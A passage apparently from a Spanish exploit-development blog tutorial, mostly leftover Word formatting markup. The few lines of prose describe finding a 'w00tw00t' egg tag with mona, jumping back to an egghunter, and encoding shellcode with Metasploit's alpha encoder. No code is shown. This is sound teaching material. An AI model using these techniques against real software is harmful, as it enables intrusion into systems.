<w:LsdException Locked="false" Priority="66" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium List 2 Accent 6"/>
<w:LsdException Locked="false" Priority="67" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Grid 1 Accent 6"/>
<w:LsdException Locked="false" Priority="68" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Grid 2 Accent 6"/>
<w:LsdException Locked="false" Priority="69" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Grid 3 Accent 6"/>
<w:LsdException Locked="false" Priority="70" SemiHidden="false"
UnhideWhenUsed="false" Name="Dark List Accent 6"/>
<w:LsdException Locked="false" Priority="71" SemiHidden="false"
UnhideWhenUsed="false" Name="Colorful Shading Accent 6"/>
<w:LsdException Locked="false" Priority="72" SemiHidden="false"
UnhideWhenUsed="false" Name="Colorful List Accent 6"/>
<w:LsdException Locked="false" Priority="73" SemiHidden="false"
UnhideWhenUsed="false" Name="Colorful Grid Accent 6"/>
<w:LsdException Locked="false" Priority="19" SemiHidden="false"
UnhideWhenUsed="false" QFormat="true" Name="Subtle Emphasis"/>
<w:LsdException Locked="false" Priority="21" SemiHidden="false"
UnhideWhenUsed="false" QFormat="true" Name="Intense Emphasis"/>
<w:LsdException Locked="false" Priority="31" SemiHidden="false"
UnhideWhenUsed="false" QFormat="true" Name="Subtle Reference"/>
<w:LsdException Locked="false" Priority="32" SemiHidden="false"
UnhideWhenUsed="false" QFormat="true" Name="Intense Reference"/>
<w:LsdException Locked="false" Priority="33" SemiHidden="false"
UnhideWhenUsed="false" QFormat="true" Name="Book Title"/>
<w:LsdException Locked="false" Priority="37" Name="Bibliography"/>
<w:LsdException Locked="false" Priority="39" QFormat="true" Name="TOC Heading"/>
</w:LatentStyles>
</xml><![endif]--><!--[if gte mso 10]>
<style>
/* Style Definitions */
table.MsoNormalTable
{mso-style-name:"Table Normal";
mso-tstyle-rowband-size:0;
mso-tstyle-colband-size:0;
mso-style-noshow:yes;
mso-style-priority:99;
mso-style-parent:"";
mso-padding-alt:0cm 5.4pt 0cm 5.4pt;
mso-para-margin-top:0cm;
mso-para-margin-right:0cm;
mso-para-margin-bottom:10.0pt;
mso-para-margin-left:0cm;
line-height:115%;
mso-pagination:widow-orphan;
font-size:11.0pt;
font-family:"Calibri","sans-serif";
mso-ascii-font-family:Calibri;
mso-ascii-theme-font:minor-latin;
mso-hansi-font-family:Calibri;
mso-hansi-theme-font:minor-latin;
mso-bidi-font-family:"Times New Roman";
mso-bidi-theme-font:minor-bidi;
mso-fareast-language:EN-US;}
</style>
<![endif]-->
</div>
<div class="MsoNormal">
Parece que se encuentra sin problemas. También podemos
buscarla con:</div>
<div class="MsoNormal">
¡mona find –ascii w00tw00t</div>
<div class="MsoNormal">
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="http://4.bp.blogspot.com/-JekcWTmFaMY/UW6l3kdnsEI/AAAAAAAAAe0/FolBrbFsuR8/s1600/findascii.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="640" src="http://4.bp.blogspot.com/-JekcWTmFaMY/UW6l3kdnsEI/AAAAAAAAAe0/FolBrbFsuR8/s640/findascii.png" width="626" /></a></div>
<br /></div>
<div class="MsoNormal">
</div>
<div class="MsoNormal">
</div>
<div class="MsoNormal">
<!--[if gte mso 9]><xml>
<o:OfficeDocumentSettings>
<o:AllowPNG/>
</o:OfficeDocumentSettings>
</xml><![endif]--></div>
<br />
<div class="MsoNormal">
<!--[if gte mso 9]><xml>
<w:WordDocument>
<w:View>Normal</w:View>
<w:Zoom>0</w:Zoom>
<w:TrackMoves/>
<w:TrackFormatting/>
<w:HyphenationZone>21</w:HyphenationZone>
<w:PunctuationKerning/>
<w:ValidateAgainstSchemas/>
<w:SaveIfXMLInvalid>false</w:SaveIfXMLInvalid>
<w:IgnoreMixedContent>false</w:IgnoreMixedContent>
<w:AlwaysShowPlaceholderText>false</w:AlwaysShowPlaceholderText>
<w:DoNotPromoteQF/>
<w:LidThemeOther>ES</w:LidThemeOther>
<w:LidThemeAsian>X-NONE</w:LidThemeAsian>
<w:LidThemeComplexScript>X-NONE</w:LidThemeComplexScript>
<w:Compatibility>
<w:BreakWrappedTables/>
<w:SnapToGridInCell/>
<w:WrapTextWithPunct/>
<w:UseAsianBreakRules/>
<w:DontGrowAutofit/>
<w:SplitPgBreakAndParaMark/>
<w:EnableOpenTypeKerning/>
<w:DontFlipMirrorIndents/>
<w:OverrideTableStyleHps/>
</w:Compatibility>
<m:mathPr>
<m:mathFont m:val="Cambria Math"/>
<m:brkBin m:val="before"/>
<m:brkBinSub m:val="--"/>
<m:smallFrac m:val="off"/>
<m:dispDef/>
<m:lMargin m:val="0"/>
<m:rMargin m:val="0"/>
<m:defJc m:val="centerGroup"/>
<m:wrapIndent m:val="1440"/>
<m:intLim m:val="subSup"/>
<m:naryLim m:val="undOvr"/>
</m:mathPr></w:WordDocument>
</xml><![endif]--><!--[if gte mso 9]><xml>
<w:LatentStyles DefLockedState="false" DefUnhideWhenUsed="true"
DefSemiHidden="true" DefQFormat="false" DefPriority="99"
LatentStyleCount="267">
<w:LsdException Locked="false" Priority="0" SemiHidden="false"
UnhideWhenUsed="false" QFormat="true" Name="Normal"/>
<w:LsdException Locked="false" Priority="9" SemiHidden="false"
UnhideWhenUsed="false" QFormat="true" Name="heading 1"/>
<w:LsdException Locked="false" Priority="9" QFormat="true" Name="heading 2"/>
<w:LsdException Locked="false" Priority="9" QFormat="true" Name="heading 3"/>
<w:LsdException Locked="false" Priority="9" QFormat="true" Name="heading 4"/>
<w:LsdException Locked="false" Priority="9" QFormat="true" Name="heading 5"/>
<w:LsdException Locked="false" Priority="9" QFormat="true" Name="heading 6"/>
<w:LsdException Locked="false" Priority="9" QFormat="true" Name="heading 7"/>
<w:LsdException Locked="false" Priority="9" QFormat="true" Name="heading 8"/>
<w:LsdException Locked="false" Priority="9" QFormat="true" Name="heading 9"/>
<w:LsdException Locked="false" Priority="39" Name="toc 1"/>
<w:LsdException Locked="false" Priority="39" Name="toc 2"/>
<w:LsdException Locked="false" Priority="39" Name="toc 3"/>
<w:LsdException Locked="false" Priority="39" Name="toc 4"/>
<w:LsdException Locked="false" Priority="39" Name="toc 5"/>
<w:LsdException Locked="false" Priority="39" Name="toc 6"/>
<w:LsdException Locked="false" Priority="39" Name="toc 7"/>
<w:LsdException Locked="false" Priority="39" Name="toc 8"/>
<w:LsdException Locked="false" Priority="39" Name="toc 9"/>
<w:LsdException Locked="false" Priority="35" QFormat="true" Name="caption"/>
<w:LsdException Locked="false" Priority="10" SemiHidden="false"
UnhideWhenUsed="false" QFormat="true" Name="Title"/>
<w:LsdException Locked="false" Priority="1" Name="Default Paragraph Font"/>
<w:LsdException Locked="false" Priority="11" SemiHidden="false"
UnhideWhenUsed="false" QFormat="true" Name="Subtitle"/>
<w:LsdException Locked="false" Priority="22" SemiHidden="false"
UnhideWhenUsed="false" QFormat="true" Name="Strong"/>
<w:LsdException Locked="false" Priority="20" SemiHidden="false"
UnhideWhenUsed="false" QFormat="true" Name="Emphasis"/>
<w:LsdException Locked="false" Priority="59" SemiHidden="false"
UnhideWhenUsed="false" Name="Table Grid"/>
<w:LsdException Locked="false" UnhideWhenUsed="false" Name="Placeholder Text"/>
<w:LsdException Locked="false" Priority="1" SemiHidden="false"
UnhideWhenUsed="false" QFormat="true" Name="No Spacing"/>
<w:LsdException Locked="false" Priority="60" SemiHidden="false"
UnhideWhenUsed="false" Name="Light Shading"/>
<w:LsdException Locked="false" Priority="61" SemiHidden="false"
UnhideWhenUsed="false" Name="Light List"/>
<w:LsdException Locked="false" Priority="62" SemiHidden="false"
UnhideWhenUsed="false" Name="Light Grid"/>
<w:LsdException Locked="false" Priority="63" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Shading 1"/>
<w:LsdException Locked="false" Priority="64" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Shading 2"/>
<w:LsdException Locked="false" Priority="65" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium List 1"/>
<w:LsdException Locked="false" Priority="66" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium List 2"/>
<w:LsdException Locked="false" Priority="67" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Grid 1"/>
<w:LsdException Locked="false" Priority="68" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Grid 2"/>
<w:LsdException Locked="false" Priority="69" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Grid 3"/>
<w:LsdException Locked="false" Priority="70" SemiHidden="false"
UnhideWhenUsed="false" Name="Dark List"/>
<w:LsdException Locked="false" Priority="71" SemiHidden="false"
UnhideWhenUsed="false" Name="Colorful Shading"/>
<w:LsdException Locked="false" Priority="72" SemiHidden="false"
UnhideWhenUsed="false" Name="Colorful List"/>
<w:LsdException Locked="false" Priority="73" SemiHidden="false"
UnhideWhenUsed="false" Name="Colorful Grid"/>
<w:LsdException Locked="false" Priority="60" SemiHidden="false"
UnhideWhenUsed="false" Name="Light Shading Accent 1"/>
<w:LsdException Locked="false" Priority="61" SemiHidden="false"
UnhideWhenUsed="false" Name="Light List Accent 1"/>
<w:LsdException Locked="false" Priority="62" SemiHidden="false"
UnhideWhenUsed="false" Name="Light Grid Accent 1"/>
<w:LsdException Locked="false" Priority="63" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Shading 1 Accent 1"/>
<w:LsdException Locked="false" Priority="64" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Shading 2 Accent 1"/>
<w:LsdException Locked="false" Priority="65" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium List 1 Accent 1"/>
<w:LsdException Locked="false" UnhideWhenUsed="false" Name="Revision"/>
<w:LsdException Locked="false" Priority="34" SemiHidden="false"
UnhideWhenUsed="false" QFormat="true" Name="List Paragraph"/>
<w:LsdException Locked="false" Priority="29" SemiHidden="false"
UnhideWhenUsed="false" QFormat="true" Name="Quote"/>
<w:LsdException Locked="false" Priority="30" SemiHidden="false"
UnhideWhenUsed="false" QFormat="true" Name="Intense Quote"/>
<w:LsdException Locked="false" Priority="66" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium List 2 Accent 1"/>
<w:LsdException Locked="false" Priority="67" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Grid 1 Accent 1"/>
<w:LsdException Locked="false" Priority="68" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Grid 2 Accent 1"/>
<w:LsdException Locked="false" Priority="69" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Grid 3 Accent 1"/>
<w:LsdException Locked="false" Priority="70" SemiHidden="false"
UnhideWhenUsed="false" Name="Dark List Accent 1"/>
<w:LsdException Locked="false" Priority="71" SemiHidden="false"
UnhideWhenUsed="false" Name="Colorful Shading Accent 1"/>
<w:LsdException Locked="false" Priority="72" SemiHidden="false"
UnhideWhenUsed="false" Name="Colorful List Accent 1"/>
<w:LsdException Locked="false" Priority="73" SemiHidden="false"
UnhideWhenUsed="false" Name="Colorful Grid Accent 1"/>
<w:LsdException Locked="false" Priority="60" SemiHidden="false"
UnhideWhenUsed="false" Name="Light Shading Accent 2"/>
<w:LsdException Locked="false" Priority="61" SemiHidden="false"
UnhideWhenUsed="false" Name="Light List Accent 2"/>
<w:LsdException Locked="false" Priority="62" SemiHidden="false"
UnhideWhenUsed="false" Name="Light Grid Accent 2"/>
<w:LsdException Locked="false" Priority="63" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Shading 1 Accent 2"/>
<w:LsdException Locked="false" Priority="64" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Shading 2 Accent 2"/>
<w:LsdException Locked="false" Priority="65" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium List 1 Accent 2"/>
<w:LsdException Locked="false" Priority="66" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium List 2 Accent 2"/>
<w:LsdException Locked="false" Priority="67" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Grid 1 Accent 2"/>
<w:LsdException Locked="false" Priority="68" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Grid 2 Accent 2"/>
<w:LsdException Locked="false" Priority="69" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Grid 3 Accent 2"/>
<w:LsdException Locked="false" Priority="70" SemiHidden="false"
UnhideWhenUsed="false" Name="Dark List Accent 2"/>
<w:LsdException Locked="false" Priority="71" SemiHidden="false"
UnhideWhenUsed="false" Name="Colorful Shading Accent 2"/>
<w:LsdException Locked="false" Priority="72" SemiHidden="false"
UnhideWhenUsed="false" Name="Colorful List Accent 2"/>
<w:LsdException Locked="false" Priority="73" SemiHidden="false"
UnhideWhenUsed="false" Name="Colorful Grid Accent 2"/>
<w:LsdException Locked="false" Priority="60" SemiHidden="false"
UnhideWhenUsed="false" Name="Light Shading Accent 3"/>
<w:LsdException Locked="false" Priority="61" SemiHidden="false"
UnhideWhenUsed="false" Name="Light List Accent 3"/>
<w:LsdException Locked="false" Priority="62" SemiHidden="false"
UnhideWhenUsed="false" Name="Light Grid Accent 3"/>
<w:LsdException Locked="false" Priority="63" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Shading 1 Accent 3"/>
<w:LsdException Locked="false" Priority="64" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Shading 2 Accent 3"/>
<w:LsdException Locked="false" Priority="65" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium List 1 Accent 3"/>
<w:LsdException Locked="false" Priority="66" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium List 2 Accent 3"/>
<w:LsdException Locked="false" Priority="67" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Grid 1 Accent 3"/>
<w:LsdException Locked="false" Priority="68" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Grid 2 Accent 3"/>
<w:LsdException Locked="false" Priority="69" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Grid 3 Accent 3"/>
<w:LsdException Locked="false" Priority="70" SemiHidden="false"
UnhideWhenUsed="false" Name="Dark List Accent 3"/>
<w:LsdException Locked="false" Priority="71" SemiHidden="false"
UnhideWhenUsed="false" Name="Colorful Shading Accent 3"/>
<w:LsdException Locked="false" Priority="72" SemiHidden="false"
UnhideWhenUsed="false" Name="Colorful List Accent 3"/>
<w:LsdException Locked="false" Priority="73" SemiHidden="false"
UnhideWhenUsed="false" Name="Colorful Grid Accent 3"/>
<w:LsdException Locked="false" Priority="60" SemiHidden="false"
UnhideWhenUsed="false" Name="Light Shading Accent 4"/>
<w:LsdException Locked="false" Priority="61" SemiHidden="false"
UnhideWhenUsed="false" Name="Light List Accent 4"/>
<w:LsdException Locked="false" Priority="62" SemiHidden="false"
UnhideWhenUsed="false" Name="Light Grid Accent 4"/>
<w:LsdException Locked="false" Priority="63" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Shading 1 Accent 4"/>
<w:LsdException Locked="false" Priority="64" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Shading 2 Accent 4"/>
<w:LsdException Locked="false" Priority="65" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium List 1 Accent 4"/>
<w:LsdException Locked="false" Priority="66" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium List 2 Accent 4"/>
<w:LsdException Locked="false" Priority="67" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Grid 1 Accent 4"/>
<w:LsdException Locked="false" Priority="68" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Grid 2 Accent 4"/>
<w:LsdException Locked="false" Priority="69" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Grid 3 Accent 4"/>
<w:LsdException Locked="false" Priority="70" SemiHidden="false"
UnhideWhenUsed="false" Name="Dark List Accent 4"/>
<w:LsdException Locked="false" Priority="71" SemiHidden="false"
UnhideWhenUsed="false" Name="Colorful Shading Accent 4"/>
<w:LsdException Locked="false" Priority="72" SemiHidden="false"
UnhideWhenUsed="false" Name="Colorful List Accent 4"/>
<w:LsdException Locked="false" Priority="73" SemiHidden="false"
UnhideWhenUsed="false" Name="Colorful Grid Accent 4"/>
<w:LsdException Locked="false" Priority="60" SemiHidden="false"
UnhideWhenUsed="false" Name="Light Shading Accent 5"/>
<w:LsdException Locked="false" Priority="61" SemiHidden="false"
UnhideWhenUsed="false" Name="Light List Accent 5"/>
<w:LsdException Locked="false" Priority="62" SemiHidden="false"
UnhideWhenUsed="false" Name="Light Grid Accent 5"/>
<w:LsdException Locked="false" Priority="63" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Shading 1 Accent 5"/>
<w:LsdException Locked="false" Priority="64" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Shading 2 Accent 5"/>
<w:LsdException Locked="false" Priority="65" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium List 1 Accent 5"/>
<w:LsdException Locked="false" Priority="66" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium List 2 Accent 5"/>
<w:LsdException Locked="false" Priority="67" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Grid 1 Accent 5"/>
<w:LsdException Locked="false" Priority="68" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Grid 2 Accent 5"/>
<w:LsdException Locked="false" Priority="69" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Grid 3 Accent 5"/>
<w:LsdException Locked="false" Priority="70" SemiHidden="false"
UnhideWhenUsed="false" Name="Dark List Accent 5"/>
<w:LsdException Locked="false" Priority="71" SemiHidden="false"
UnhideWhenUsed="false" Name="Colorful Shading Accent 5"/>
<w:LsdException Locked="false" Priority="72" SemiHidden="false"
UnhideWhenUsed="false" Name="Colorful List Accent 5"/>
<w:LsdException Locked="false" Priority="73" SemiHidden="false"
UnhideWhenUsed="false" Name="Colorful Grid Accent 5"/>
<w:LsdException Locked="false" Priority="60" SemiHidden="false"
UnhideWhenUsed="false" Name="Light Shading Accent 6"/>
<w:LsdException Locked="false" Priority="61" SemiHidden="false"
UnhideWhenUsed="false" Name="Light List Accent 6"/>
<w:LsdException Locked="false" Priority="62" SemiHidden="false"
UnhideWhenUsed="false" Name="Light Grid Accent 6"/>
<w:LsdException Locked="false" Priority="63" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Shading 1 Accent 6"/>
<w:LsdException Locked="false" Priority="64" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Shading 2 Accent 6"/>
<w:LsdException Locked="false" Priority="65" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium List 1 Accent 6"/>
<w:LsdException Locked="false" Priority="66" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium List 2 Accent 6"/>
<w:LsdException Locked="false" Priority="67" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Grid 1 Accent 6"/>
<w:LsdException Locked="false" Priority="68" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Grid 2 Accent 6"/>
<w:LsdException Locked="false" Priority="69" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Grid 3 Accent 6"/>
<w:LsdException Locked="false" Priority="70" SemiHidden="false"
UnhideWhenUsed="false" Name="Dark List Accent 6"/>
<w:LsdException Locked="false" Priority="71" SemiHidden="false"
UnhideWhenUsed="false" Name="Colorful Shading Accent 6"/>
<w:LsdException Locked="false" Priority="72" SemiHidden="false"
UnhideWhenUsed="false" Name="Colorful List Accent 6"/>
<w:LsdException Locked="false" Priority="73" SemiHidden="false"
UnhideWhenUsed="false" Name="Colorful Grid Accent 6"/>
<w:LsdException Locked="false" Priority="19" SemiHidden="false"
UnhideWhenUsed="false" QFormat="true" Name="Subtle Emphasis"/>
<w:LsdException Locked="false" Priority="21" SemiHidden="false"
UnhideWhenUsed="false" QFormat="true" Name="Intense Emphasis"/>
<w:LsdException Locked="false" Priority="31" SemiHidden="false"
UnhideWhenUsed="false" QFormat="true" Name="Subtle Reference"/>
<w:LsdException Locked="false" Priority="32" SemiHidden="false"
UnhideWhenUsed="false" QFormat="true" Name="Intense Reference"/>
<w:LsdException Locked="false" Priority="33" SemiHidden="false"
UnhideWhenUsed="false" QFormat="true" Name="Book Title"/>
<w:LsdException Locked="false" Priority="37" Name="Bibliography"/>
<w:LsdException Locked="false" Priority="39" QFormat="true" Name="TOC Heading"/>
</w:LatentStyles>
</xml><![endif]--><!--[if gte mso 10]>
<style>
/* Style Definitions */
table.MsoNormalTable
{mso-style-name:"Table Normal";
mso-tstyle-rowband-size:0;
mso-tstyle-colband-size:0;
mso-style-noshow:yes;
mso-style-priority:99;
mso-style-parent:"";
mso-padding-alt:0cm 5.4pt 0cm 5.4pt;
mso-para-margin-top:0cm;
mso-para-margin-right:0cm;
mso-para-margin-bottom:10.0pt;
mso-para-margin-left:0cm;
line-height:115%;
mso-pagination:widow-orphan;
font-size:11.0pt;
font-family:"Calibri","sans-serif";
mso-ascii-font-family:Calibri;
mso-ascii-theme-font:minor-latin;
mso-hansi-font-family:Calibri;
mso-hansi-theme-font:minor-latin;
mso-bidi-font-family:"Times New Roman";
mso-bidi-theme-font:minor-bidi;
mso-fareast-language:EN-US;}
</style>
<![endif]-->
</div>
<div class="MsoNormal">
Una vez que tenemos esto lo que haremos será saltar hacia
atrás y ejecutar el egghunter.La aplicación solo acepta carácteres alfanúmericos, por lo que tenemos que utilizar algun encoder.</div>
<div class="MsoNormal">
Podemos encodearlo con el encoder alpha de metasploit como se muestra
a continuación:</div>
<div class="MsoNormal">
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="http://2.bp.blogspot.com/-hV0XExjsf5w/UW6l80byj9I/AAAAAAAAAe8/PxBxxCqbEtU/s1600/encode_metasploit.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="456" src="http://2.bp.blogspot.com/-hV0XExjsf5w/UW6l80byj9I/AAAAAAAAAe8/PxBxxCqbEtU/s640/encode_metasploit.png" width="640" /></a></div>
<br /></div>
<div class="MsoNormal">
</div>
<div class="MsoNormal">
<!--[if gte mso 9]><xml>
<o:OfficeDocumentSettings>
<o:AllowPNG/>
</o:OfficeDocumentSettings>
</xml><![endif]--></div>
<div class="MsoNormal">
<!--[if gte mso 9]><xml>
<w:WordDocument>
<w:View>Normal</w:View>
<w:Zoom>0</w:Zoom>
<w:TrackMoves/>
<w:TrackFormatting/>
<w:HyphenationZone>21</w:HyphenationZone>
<w:PunctuationKerning/>
<w:ValidateAgainstSchemas/>
<w:SaveIfXMLInvalid>false</w:SaveIfXMLInvalid>
<w:IgnoreMixedContent>false</w:IgnoreMixedContent>
<w:AlwaysShowPlaceholderText>false</w:AlwaysShowPlaceholderText>
<w:DoNotPromoteQF/>
<w:LidThemeOther>ES</w:LidThemeOther>
<w:LidThemeAsian>X-NONE</w:LidThemeAsian>
<w:LidThemeComplexScript>X-NONE</w:LidThemeComplexScript>
<w:Compatibility>
<w:BreakWrappedTables/>
<w:SnapToGridInCell/>
<w:WrapTextWithPunct/>
<w:UseAsianBreakRules/>
<w:DontGrowAutofit/>
<w:SplitPgBreakAndParaMark/>
<w:EnableOpenTypeKerning/>
<w:DontFlipMirrorIndents/>
<w:OverrideTableStyleHps/>
</w:Compatibility>
<m:mathPr>
<m:mathFont m:val="Cambria Math"/>
<m:brkBin m:val="before"/>
<m:brkBinSub m:val="--"/>
<m:smallFrac m:val="off"/>
<m:dispDef/>
<m:lMargin m:val="0"/>
<m:rMargin m:val="0"/>
<m:defJc m:val="centerGroup"/>
<m:wrapIndent m:val="1440"/>
<m:intLim m:val="subSup"/>
<m:naryLim m:val="undOvr"/>
</m:mathPr></w:WordDocument>
</xml><![endif]--><!--[if gte mso 9]><xml>
<w:LatentStyles DefLockedState="false" DefUnhideWhenUsed="true"
DefSemiHidden="true" DefQFormat="false" DefPriority="99"
LatentStyleCount="267">
<w:LsdException Locked="false" Priority="0" SemiHidden="false"
UnhideWhenUsed="false" QFormat="true" Name="Normal"/>
<w:LsdException Locked="false" Priority="9" SemiHidden="false"
UnhideWhenUsed="false" QFormat="true" Name="heading 1"/>
<w:LsdException Locked="false" Priority="9" QFormat="true" Name="heading 2"/>
<w:LsdException Locked="false" Priority="9" QFormat="true" Name="heading 3"/>
<w:LsdException Locked="false" Priority="9" QFormat="true" Name="heading 4"/>
<w:LsdException Locked="false" Priority="9" QFormat="true" Name="heading 5"/>
<w:LsdException Locked="false" Priority="9" QFormat="true" Name="heading 6"/>
<w:LsdException Locked="false" Priority="9" QFormat="true" Name="heading 7"/>
<w:LsdException Locked="false" Priority="9" QFormat="true" Name="heading 8"/>
<w:LsdException Locked="false" Priority="9" QFormat="true" Name="heading 9"/>
<w:LsdException Locked="false" Priority="39" Name="toc 1"/>
<w:LsdException Locked="false" Priority="39" Name="toc 2"/>
<w:LsdException Locked="false" Priority="39" Name="toc 3"/>
<w:LsdException Locked="false" Priority="39" Name="toc 4"/>
<w:LsdException Locked="false" Priority="39" Name="toc 5"/>
<w:LsdException Locked="false" Priority="39" Name="toc 6"/>
<w:LsdException Locked="false" Priority="39" Name="toc 7"/>
<w:LsdException Locked="false" Priority="39" Name="toc 8"/>
<w:LsdException Locked="false" Priority="39" Name="toc 9"/>
<w:LsdException Locked="false" Priority="35" QFormat="true" Name="caption"/>
<w:LsdException Locked="false" Priority="10" SemiHidden="false"
UnhideWhenUsed="false" QFormat="true" Name="Title"/>
<w:LsdException Locked="false" Priority="1" Name="Default Paragraph Font"/>
<w:LsdException Locked="false" Priority="11" SemiHidden="false"
UnhideWhenUsed="false" QFormat="true" Name="Subtitle"/>
<w:LsdException Locked="false" Priority="22" SemiHidden="false"
UnhideWhenUsed="false" QFormat="true" Name="Strong"/>
<w:LsdException Locked="false" Priority="20" SemiHidden="false"
UnhideWhenUsed="false" QFormat="true" Name="Emphasis"/>
<w:LsdException Locked="false" Priority="59" SemiHidden="false"
UnhideWhenUsed="false" Name="Table Grid"/>
<w:LsdException Locked="false" UnhideWhenUsed="false" Name="Placeholder Text"/>
<w:LsdException Locked="false" Priority="1" SemiHidden="false"
UnhideWhenUsed="false" QFormat="true" Name="No Spacing"/>
<w:LsdException Locked="false" Priority="60" SemiHidden="false"
UnhideWhenUsed="false" Name="Light Shading"/>
<w:LsdException Locked="false" Priority="61" SemiHidden="false"
UnhideWhenUsed="false" Name="Light List"/>
<w:LsdException Locked="false" Priority="62" SemiHidden="false"
UnhideWhenUsed="false" Name="Light Grid"/>
<w:LsdException Locked="false" Priority="63" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Shading 1"/>
<w:LsdException Locked="false" Priority="64" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Shading 2"/>
<w:LsdException Locked="false" Priority="65" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium List 1"/>
<w:LsdException Locked="false" Priority="66" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium List 2"/>
<w:LsdException Locked="false" Priority="67" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Grid 1"/>
<w:LsdException Locked="false" Priority="68" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Grid 2"/>
<w:LsdException Locked="false" Priority="69" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Grid 3"/>
<w:LsdException Locked="false" Priority="70" SemiHidden="false"
UnhideWhenUsed="false" Name="Dark List"/>
<w:LsdException Locked="false" Priority="71" SemiHidden="false"
UnhideWhenUsed="false" Name="Colorful Shading"/>
<w:LsdException Locked="false" Priority="72" SemiHidden="false"
UnhideWhenUsed="false" Name="Colorful List"/>
<w:LsdException Locked="false" Priority="73" SemiHidden="false"
UnhideWhenUsed="false" Name="Colorful Grid"/>
<w:LsdException Locked="false" Priority="60" SemiHidden="false"
UnhideWhenUsed="false" Name="Light Shading Accent 1"/>
<w:LsdException Locked="false" Priority="61" SemiHidden="false"
UnhideWhenUsed="false" Name="Light List Accent 1"/>
<w:LsdException Locked="false" Priority="62" SemiHidden="false"
UnhideWhenUsed="false" Name="Light Grid Accent 1"/>
<w:LsdException Locked="false" Priority="63" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Shading 1 Accent 1"/>
<w:LsdException Locked="false" Priority="64" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Shading 2 Accent 1"/>
<w:LsdException Locked="false" Priority="65" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium List 1 Accent 1"/>
<w:LsdException Locked="false" UnhideWhenUsed="false" Name="Revision"/>
<w:LsdException Locked="false" Priority="34" SemiHidden="false"
UnhideWhenUsed="false" QFormat="true" Name="List Paragraph"/>
<w:LsdException Locked="false" Priority="29" SemiHidden="false"
UnhideWhenUsed="false" QFormat="true" Name="Quote"/>
<w:LsdException Locked="false" Priority="30" SemiHidden="false"
UnhideWhenUsed="false" QFormat="true" Name="Intense Quote"/>
<w:LsdException Locked="false" Priority="66" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium List 2 Accent 1"/>
<w:LsdException Locked="false" Priority="67" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Grid 1 Accent 1"/>
<w:LsdException Locked="false" Priority="68" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Grid 2 Accent 1"/>
<w:LsdException Locked="false" Priority="69" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Grid 3 Accent 1"/>
<w:LsdException Locked="false" Priority="70" SemiHidden="false"
UnhideWhenUsed="false" Name="Dark List Accent 1"/>
<w:LsdException Locked="false" Priority="71" SemiHidden="false"
UnhideWhenUsed="false" Name="Colorful Shading Accent 1"/>
<w:LsdException Locked="false" Priority="72" SemiHidden="false"
UnhideWhenUsed="false" Name="Colorful List Accent 1"/>
<w:LsdException Locked="false" Priority="73" SemiHidden="false"
UnhideWhenUsed="false" Name="Colorful Grid Accent 1"/>
